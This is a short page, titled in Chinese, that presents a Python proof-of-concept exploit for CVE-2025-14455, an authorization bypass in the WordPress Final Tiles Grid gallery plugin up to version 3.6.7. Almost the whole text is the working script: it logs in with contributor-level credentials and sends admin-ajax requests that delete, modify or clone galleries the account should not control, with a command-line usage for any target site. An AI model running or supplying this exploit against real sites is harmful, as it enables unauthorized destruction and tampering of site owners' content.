CVE-2025-14455 WordPress Final Tiles Grid插件授权绕过漏洞

import requests import sys # CVE-2025-14455 PoC - WordPress Final Tiles Grid Authorization Bypass # Target: Image Photo Gallery Final Tiles Grid plugin <= 3.6.7 def exploit_authorization_bypass(target_url, username, password, gallery_id, action='delete'): """ Exploit authorization bypass in Final Tiles Grid plugin. Args: target_url: WordPress site URL username: Contributor+ level username password: Password gallery_id: ID of gallery to target action: 'delete', 'modify', or 'clone' """ session = requests.Session() # WordPress login login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } session.post(login_url, data=login_data) # Define action mappings action_map = { 'delete': 'ftgg_delete_gallery', 'modify': 'ftgg_update_gallery', 'clone': 'ftgg_clone_gallery' } ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Exploit authorization bypass exploit_data = { 'action': action_map.get(action, 'ftgg_delete_gallery'), 'gallery_id': gallery_id } response = session.post(ajax_url, data=exploit_data) return response if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <gallery_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] gid = sys.argv[4] result = exploit_authorization_bypass(target, user, pwd, gid) print(f"Status: {result.status_code}") print(f"Response: {result.text}")